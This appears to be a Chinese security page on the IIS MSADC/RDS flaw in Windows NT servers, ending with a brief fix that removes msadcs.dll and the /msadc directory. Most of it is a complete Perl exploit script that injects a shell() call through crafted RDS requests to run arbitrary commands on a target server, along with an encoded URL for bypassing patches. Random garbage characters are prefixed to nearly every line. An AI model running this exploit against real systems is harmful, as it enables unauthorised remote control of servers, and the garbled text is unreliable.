IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
IdP"]Sv{< Jat|n97$ 涉及程序：
'Ipp1a
Z_M Microsoft NT server
UBj" m< ^5 {M@o 描述：
=t,}I\_^c 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
B 4 XN ?H7Ym N 详细：
G)|s(C! 如果你没有时间读详细内容的话，就删除:
?< 3wks|C c:\Program Files\Common Files\System\Msadc\msadcs.dll
ExJch\ 有关的安全问题就没有了。
tCoT-\Q (P=q&]l[ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
j>D[iHrH wtm= 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
j, :vK 关于利用ODBC远程漏洞的描述，请参看:
B)^uGS W -pb>=@Yq http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm o3=2`BvJ 1MVz u7 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
^ p@ # http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8ux?K5_ 1$A7 BP 这里不再论述。
5;:P^[cH9 KG8:F].u( 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
d5 U?* T~&9/%$F /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
6qAs$[ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
SuorCp] Vdpvo;4uy qj $6/V|D #将下面这段保存为txt文件，然后: "perl -x 文件名"
m+3U[KKvG *=b# >// #!perl
Py}] {? #
Qj:`[#3?2 # MSADC/RDS 'usage' (aka exploit) script
5Xe1a'n5] #
|ORro
r} # by rain.forest.puppy
J ~"h&>T #
CVk.Ez6 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
q!r4"#Y"@Z # beta test and find errors!
"}91wfG9 @)i A V1r" use Socket; use Getopt::Std;
U&PwEh4uG getopts("e:vd:h:XR", \%args);
ggQB Q/ L ke~S[ bL%- print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
# Vq"Cf D(z}c, if (!defined $args{h} && !defined $args{R}) {
7ThGF print qq~
&@&0n)VTd Usage: msadc.pl -h <host> { -d <delay> -X -v }
T^b62j'b5_ -h <host> = host you want to scan (ip or domain)
PF6w'T 5 -d <seconds> = delay between calls, default 1 second
ZvSWIQ6 -X = dump Index Server path table, if available
Vm_<eyI2 -v = verbose
` D9sEt_/ -e = external dictionary file for step 5
B '@a36
{Xj2c]A1 Or a -R will resume a command session
EKr#i}(x< FF} A_ZFY ~; exit;}
j 1Ng[ \H6[6*JuB $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
CLn}BxgD if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ud ld[f. if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
px7<;(I if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4fuK pLA $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
<"}Gvi if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
I z^lED |^&j'k+A if (!defined $args{R}){ $ret = &has_msadc;
qh IO7 h die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
2A,iY}R 4Iq-4IG( print "Please type the NT commandline you want to run (cmd /c assumed):\n"
ytsPk2@WR . "cmd /c ";
7K.in3M( $in=<STDIN>; chomp $in;
!+F6 Bf $command="cmd /c " . $in ;
` 6'dhB 0P%,1M3d if (defined $args{R}) {&load; exit;}
|o5F%1o 0Na/3cz|zg print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
3lW7auH4Y{ &try_btcustmr;
8`$lsD [WAnII print "\nStep 2: Trying to make our own DSN...";
jf|5}5kSlf &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
r/ G6O qR X:e o print "\nStep 3: Trying known DSNs...";
KcW]"K>p! &known_dsn;
r6x"D3 Gs0x;91 print "\nStep 4: Trying known .mdbs...";
'IykIf &known_mdb;
p%?VW /&T"w,D if (defined $args{e}){
oph QdJM print "\nStep 5: Trying dictionary of DSN names...";
)ld !(d= &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Gv$}>YJ /8s+eHn&% print "Sorry Charley...maybe next time?\n";
/4 Q^L>a exit;
8'n xc#& Mu~DB:Y9e ##############################################################################
PrZs@ Y 5PCMxjon sub sendraw { # ripped and modded from whisker
jcY:a0 [{D sleep($delay); # it's a DoS on the server! At least on mine...
q |r/%[[!o my ($pstr)=@_;
Fh3>y2 `/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D{Rk9MKkE die("Socket problems\n");
>&`S$1 o if(connect(S,pack "SnA4x8",2,80,$target)){
# $dk select(S); $|=1;
MU-T>S4
print $pstr; my @in=<S>;
X
/
{; select(STDOUT); close(S);
LYV\|a{Y return @in;
A=+
|&+? t } else { die("Can't connect...\n"); }}
ry Kc7< a-9Y &#U ##############################################################################
'T_Vm%\) Zd Li<1P*d sub make_header { # make the HTTP request
]-7$wVQ< my $msadc=<<EOT
< "SOH; w POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/2&:sHWW User-Agent: ACTIVEDATA
E#T6rd P Host: $ip
Cxt_QyL? Content-Length: $clen
) q>mt/, Connection: Keep-Alive
[!Jd.z m ZB|y ADCClientVersion:01.06
F(5(cr 7K Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
YR\pt8(z? $v#\bqY --!ADM!ROX!YOUR!WORLD!
VEtdp*ot Content-Type: application/x-varg
Kj+=?R~}S Content-Length: $reqlen
$vQ#ah/k ar#Xe;T! EOT
u5LrZt]k ; $msadc=~s/\n/\r\n/g;
.0gF&>I} return $msadc;}
555*IT3b Q^_*&},V ##############################################################################
QUSyVp{$ o;#9$j7QP! sub make_req { # make the RDS request
4 ,yS7l my ($switch, $p1, $p2)=@_;
lls-Nir% my $req=""; my $t1, $t2, $query, $dsn;
P*\h)F/3}t H`XE5Hk)P% if ($switch==1){ # this is the btcustmr.mdb query
!}[,ODJ4 d $query="Select * from Customers where City=" . make_shell();
@ 7WWoy $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
{~lVe GBp $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
RdtF5#\z XLeQxp= elsif ($switch==2){ # this is general make table query
L +rMBa $query="create table AZZ (B int, C varchar(10))";
<%~`!n,t0 $dsn="$p1";}
g Fx2 \QV /@!%/Kl elsif ($switch==3){ # this is general exploit table query
'%} k"&t$i $query="select * from AZZ where C=" . make_shell();
HLa3lUo $dsn="$p1";}
~%8T_R /3 SBNeN] elsif ($switch==4){ # attempt to hork file info from index server
4J"S?HsW| $query="select path from scope()";
HF\|mL $dsn="Provider=MSIDXS;";}
h>A~. . 5Lo\[K >j elsif ($switch==5){ # bad query
w}`TJijl $query="select";
aJmSagr69C $dsn="$p1";}
>;9+4C<z0 8 pEiU/V $t1= make_unicode($query);
Tw{}Ht_Qq $t2= make_unicode($dsn);
j-% vLL/ $req = "\x02\x00\x03\x00";
n& j@7R $req.= "\x08\x00" . pack ("S1", length($t1));
>&mNC \PA $req.= "\x00\x00" . $t1 ;
$}* bZ~ $req.= "\x08\x00" . pack ("S1", length($t2));
Hfw*\=p
$req.= "\x00\x00" . $t2 ;
Ac'0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
S T *\ Q return $req;}
W>*9T? +5>*$L%8T` ##############################################################################
1%R8q=_ WLB@]JvTBY sub make_shell { # this makes the shell() statement
:7&-<ae2 return "'|shell(\"$command\")|'";}
f7mN,_Lt =[7[F)I~O ##############################################################################
DF>LN%a~ ]V 4Fm{] sub make_unicode { # quick little function to convert to unicode
M$O*@]) my ($in)=@_; my $out;
R'#1|eWCa for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
cU+ % zk return $out;}
?aMV{H*Q* o rGkS<P ##############################################################################
C }= *%S )Td;2 sub rdo_success { # checks for RDO return success (this is kludge)
ecZT|X4u my (@in) = @_; my $base=content_start(@in);
D (>,#F if($in[$base]=~/multipart\/mixed/){
m7|}PH" 7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
V ^ return 0;}
!(-lY(x h
!yu. v ##############################################################################
lh N2xg5x D #`o sub make_dsn { # this makes a DSN for us
lHTW e' my @drives=("c","d","e","f");
gHB*u!w7Z print "\nMaking DSN: ";
8`0/?MZ) foreach $drive (@drives) {
A$H;2T5N print "$drive: ";
~g6`Cp` my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)yOdRRP "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
(pU@$H . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
T@S\:P $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
re$xeq\1P? return 0 if $2 eq "404"; # not found/doesn't exist
4IT`8n~ if($2 eq "200") {
OrZ =-9" foreach $line (@results) {
s5
P~feg return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
.:`+4n } return 0;}
_~{Nco7T ]+!{^ h$ ##############################################################################
n B5 :X b%TS37`^[ sub verify_exists {
doERBg`Jh my ($page)=@_;
W`q iPLk my @results=sendraw("GET $page HTTP/1.0\n\n");
8 BHtN return $results[0];}
@lYm2l^ h8ikM&fl ##############################################################################
Y%i=u:}fm +i@r-OL sub try_btcustmr {
2$fFl,v!z my @drives=("c","d","e","f");
P_ [A my @dirs=("winnt","winnt35","winnt351","win","windows");
4dB6cg {#Lj,o foreach $dir (@dirs) {
LhfI"fc print "$dir -> "; # fun status so you can see progress
+p:?blG foreach $drive (@drives) {
(D?%(f print "$drive: "; # ditto
4F-r }Fj3 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
BeNH" Y:E $reqlenlen=length( "$reqlen" );
Gl4(-e'b $clen= 206 + $reqlenlen + $reqlen;
4GiHp7Y&A 5q.d$K | my @results=sendraw(make_header() . make_req(1,$drive,$dir));
>BDK?YMx if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
FLqF!N\G else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
6 < uJ }3 8@}R_GZc ##############################################################################
z)Yk&;X C N y\c>$ z sub odbc_error {
9L"Z
~CUL my (@in)=@_; my $base;
wa #$9p~Q my $base = content_start(@in);
*b$8O if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
P$ a `8~w $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
gG 9e.++: $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/Y yimG7 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_D{V(c<WD return $in[$base+4].$in[$base+5].$in[$base+6];}
\BoRYb9h print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
M<A jtDF% print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
A<1:vV $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
[32]wgw+{1 |<Cz#|
,q ##############################################################################
z<T(afM{* <;O - N= sub verbose {
9i&(VzY[= my ($in)=@_;
6 a E:v R2 return if !$verbose;
udEJo~u print STDOUT "\n$in\n";}
j[^(<R8 a-A>A_. ##############################################################################
rzR=% > !zu YO3: sub save {
{c7ZA %T~R my ($p1, $p2, $p3, $p4)=@_;
\NiW(!Z} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
? ^8CD.| print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{pV\]E\] close OUT;}
SRU g 2)d zK Y 9 'y ##############################################################################
f>*D@TrU 3 N5un`K7 sub load {
y 4V~fg; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
??'>kQ4 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
hPb erc2 @p=<IN>; close(IN);
q{fgsc8v\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
j56#KNAha $target= inet_aton($ip) || die("inet_aton problems");
:c*_W
/ print "Resuming to $ip ...";
5 6|o6-a^ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
^P NE6 if($p[1]==1) {
xg|\\i $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
(O&R-5m $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
s>RtCw3, my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
1\[En/6 if (rdo_success(@results)){print "Success!\n";}
K4r"Q*h else { print "failed\n"; verbose(odbc_error(@results));}}
JGJy _.C elsif ($p[1]==3){
h() Ok9] if(run_query("$p[3]")){
oP qWL9] print "Success!\n";} else { print "failed\n"; }}
i;CVgdQ8 elsif ($p[1]==4){
fP:n=A{ if(run_query($drvst . "$p[3]")){
G$eA(GE print "Success!\n"; } else { print "failed\n"; }}
RS8t E( exit;}
q_hkI] )1EF7.| ##############################################################################
ZFJ qI ~]d3
f sub create_table {
||}k99y + my ($in)=@_;
3pV^O e^9 $reqlen=length( make_req(2,$in,"") ) - 28;
o_(@v2G` $reqlenlen=length( "$reqlen" );
O/?Lk*r $clen= 206 + $reqlenlen + $reqlen;
$ykujyngS4 my @results=sendraw(make_header() . make_req(2,$in,""));
&=KNKE` return 1 if rdo_success(@results);
Hv>16W$_ my $temp= odbc_error(@results); verbose($temp);
*-zOQ=Y return 1 if $temp=~/Table 'AZZ' already exists/;
&| d6 return 0;}
'
)0e B: 2!}:h5 ##############################################################################
/"f4 a F[ qwERy{]Sp; sub known_dsn {
:4 &q2- # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
\\Z{[{OZ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"%mu~&Ga "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
#Yqj27& "banner", "banners", "ads", "ADCDemo", "ADCTest");
<r8sZrY kn^? .^dVX foreach $dSn (@dsns) {
&f;<[_QI= print ".";
RTL A* next if (!is_access("DSN=$dSn"));
>" z$p@7 if(create_table("DSN=$dSn")){
daX$=n print "$dSn successful\n";
bg =<) s if(run_query("DSN=$dSn")){
"8NhrUX print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
~"Q24I print "Something's borked. Use verbose next time\n";}}} print "\n";}
zL%ruWNG LGau! \ ##############################################################################
)6t=Bel (59u<F sub is_access {
u>K(m))5W3 my ($in)=@_;
]ZbZ ] $reqlen=length( make_req(5,$in,"") ) - 28;
f3p)Q<H>`( $reqlenlen=length( "$reqlen" );
R)>F*GsR $clen= 206 + $reqlenlen + $reqlen;
?}n\&|+ my @results=sendraw(make_header() . make_req(5,$in,""));
&nRbI:R my $temp= odbc_error(@results);
qgk-[zW# verbose($temp); return 1 if ($temp=~/Microsoft Access/);
% VSjMZ return 0;}
odm!}stus c9
&L K J6 ##############################################################################
{SQ#n@Q&$ d:_3V rRZ sub run_query {
/'ukeK+' my ($in)=@_;
Jtv~n $reqlen=length( make_req(3,$in,"") ) - 28;
H2cY}, $reqlenlen=length( "$reqlen" );
q_R^Q>ZIe $clen= 206 + $reqlenlen + $reqlen;
8iIz!l%O my @results=sendraw(make_header() . make_req(3,$in,""));
k>'c4ay290 return 1 if rdo_success(@results);
3jJd)C R my $temp= odbc_error(@results); verbose($temp);
##+f/Fxym return 0;}
ag7(nn0! #guq/g$ ##############################################################################
$#HPwmd 4)DI0b" sub known_mdb {
88}=VS my @drives=("c","d","e","f","g");
|E(`9 my @dirs=("winnt","winnt35","winnt351","win","windows");
ZDhl$m [m my $dir, $drive, $mdb;
]E:P-xTwaI my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;;Y>7Kn!u 2H]~X9,z2 # this is sparse, because I don't know of many
H T a]T' my @sysmdbs=( "\\catroot\\icatalog.mdb",
QrX 5Kwq "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
*=KX0%3 "\\system32\\certmdb.mdb",
G|LJOq7QB "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
qGYru 1 ^p2_p9 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.O1Kwu "\\cfusion\\cfapps\\forums\\forums_.mdb",
9[9
ZI1*s "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
M In6p "\\cfusion\\cfapps\\security\\realm_.mdb",
aOOkC&% "\\cfusion\\cfapps\\security\\data\\realm.mdb",
mT3'kUZ}] "\\cfusion\\database\\cfexamples.mdb",
z+=wql*Eo "\\cfusion\\database\\cfsnippets.mdb",
#K4lnC2qz "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
>}p'E9J?r "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
k uZs30^ "\\cfusion\\brighttiger\\database\\cleam.mdb",
]6*+i $ "\\cfusion\\database\\smpolicy.mdb",
,5
A& "\\cfusion\\database\cypress.mdb",
B S^P&TR! "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
WS7a]~3' "\\website\\cgi-win\\dbsample.mdb",
4b}94e@(N "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Z'V"nhL "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
y?}R ,5k ); #these are just
/ Ml d. foreach $drive (@drives) {
5{.g~3" foreach $dir (@dirs){
"(QI7:iM foreach $mdb (@sysmdbs) {
`+c8;p'q print ".";
t#eTn"; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
mi>CHa+$ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
).8i*Ys,: if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(U GmbRf& print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
p&O-]o8 } else { print "Something's borked. Use verbose next time\n"; }}}}}
[? 1m6u; YZH qy++x foreach $drive (@drives) {
/yd<+on^ foreach $mdb (@mdbs) {
B'U;i5u4' print ".";
IW&.JNcN if(create_table($drv . $drive . $dir . $mdb)){
aP}%&{iC* print "\n" . $drive . $dir . $mdb . " successful\n";
h]w5N2$}? if(run_query($drv . $drive . $dir . $mdb)){
_ITA $ # print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
9si, z } else { print "Something's borked. Use verbose next time\n"; }}}}
mKh <M)Bz }
F VVpyB| LL}b]B[ ##############################################################################
*
SHQ[L4{ l}aJRG6U sub hork_idx {
D,<# pNO_ print "\nAttempting to dump Index Server tables...\n";
`(dRb print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
OZc.Rtgc $reqlen=length( make_req(4,"","") ) - 28;
[h=[@jiB $reqlenlen=length( "$reqlen" );
Q*c |!<
&e $clen= 206 + $reqlenlen + $reqlen;
M .J my @results=sendraw2(make_header() . make_req(4,"",""));
f|cF [&wo if (rdo_success(@results)){
sO;]l"{< my $max=@results; my $c; my %d;
}8\"oA6 for($c=19; $c<$max; $c++){
=JK# "' $results[$c]=~s/\x00//g;
|TE\ ] $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6Y-sc*5 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
SaA9)s $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
i(pevu $d{"$1$2"}="";}
|#rP~Nj) foreach $c (keys %d){ print "$c\n"; }
<zdo%~ba } else {print "Index server doesn't seem to be installed.\n"; }}
P?Fm<s: s (3iGuT ##############################################################################
-g6C;<Y {W5D) sub dsn_dict {
l*0 ` {R open(IN, "<$args{e}") || die("Can't open external dictionary\n");
A>OGU ^ while(<IN>){
%J
'RO $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
\NN5'DBx next if (!is_access("DSN=$dSn"));
|AS`MsbI9 if(create_table("DSN=$dSn")){
"p [FFg print "$dSn successful\n";
320g!r if(run_query("DSN=$dSn")){
?->&)oAh print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?\J.Tv $$$ print "Something's borked. Use verbose next time\n";}}}
(qky&}H print "\n"; close(IN);}
r!,/~~m T $> M A ##############################################################################
3~uWrZ.u GA.4'W^&a sub sendraw2 { # ripped and modded from whisker
rdY/QvP0= sleep($delay); # it's a DoS on the server! At least on mine...
R{hq1- my ($pstr)=@_;
9" RGf 1] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Jc74A=sT die("Socket problems\n");
U if61)+!i if(connect(S,pack "SnA4x8",2,80,$target)){
Q x]zz4jD print "Connected. Getting data";
g12mSbf=9 open(OUT,">raw.out"); my @in;
hV6=-QL*B select(S); $|=1; print $pstr;
u3XQ<N{Gj while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
faJ>,^V# close(OUT); select(STDOUT); close(S); return @in;
J91O$szA } else { die("Can't connect...\n"); }}
`=B0NC.3 j & x=?jX ##############################################################################
]*Tnu98G} =C[2"Y4JK0 sub content_start { # this will take in the server headers
Nsd7?|@HI my (@in)=@_; my $c;
5csqu^/y for ($c=1;$c<500;$c++) {
y,OwO4+y\ if($in[$c] =~/^\x0d\x0a/){
g\n0v~T+ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
B&Igm<72x else { return $c+1; }}}
my |UlZ(qg return -1;} # it should never get here actually
)U': NV2 fsxZQ=-PW ##############################################################################
bR*/d-v^
j Rv j:H9 sub funky {
nYv`{0S+m my (@in)=@_; my $error=odbc_error(@in);
~1`ZPL VG if($error=~/ADO could not find the specified provider/){
e#uk+] print "\nServer returned an ADO miscofiguration message\nAborting.\n";
z12c9k%s exit;}
i7RW8* if($error=~/A Handler is required/){
t ;~H6 print "\nServer has custom handler filters (they most likely are patched)\n";
f/VrenZ_ exit;}
~{O9dEI if($error=~/specified Handler has denied Access/){
O [81nlhS0 print "\nServer has custom handler filters (they most likely are patched)\n";
BW61 WH? exit;}}
\s[/{3 $7 08\! ##############################################################################
UQ ~7,D`=# 0qV"R7TW sub has_msadc {
@fVCGV?' my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
xzRs;AXOp my $base=content_start(@results);
2EdKxw3$] return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^6S td
x_ return 0;}
*Y@)t*
-a +-|D$@8S ########################
-'sn0 _q/e );cu{GY vX'@we7Q{ 解决方案：
EK:s# 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
@YMQbjbr 2、移除web 目录: /msadc
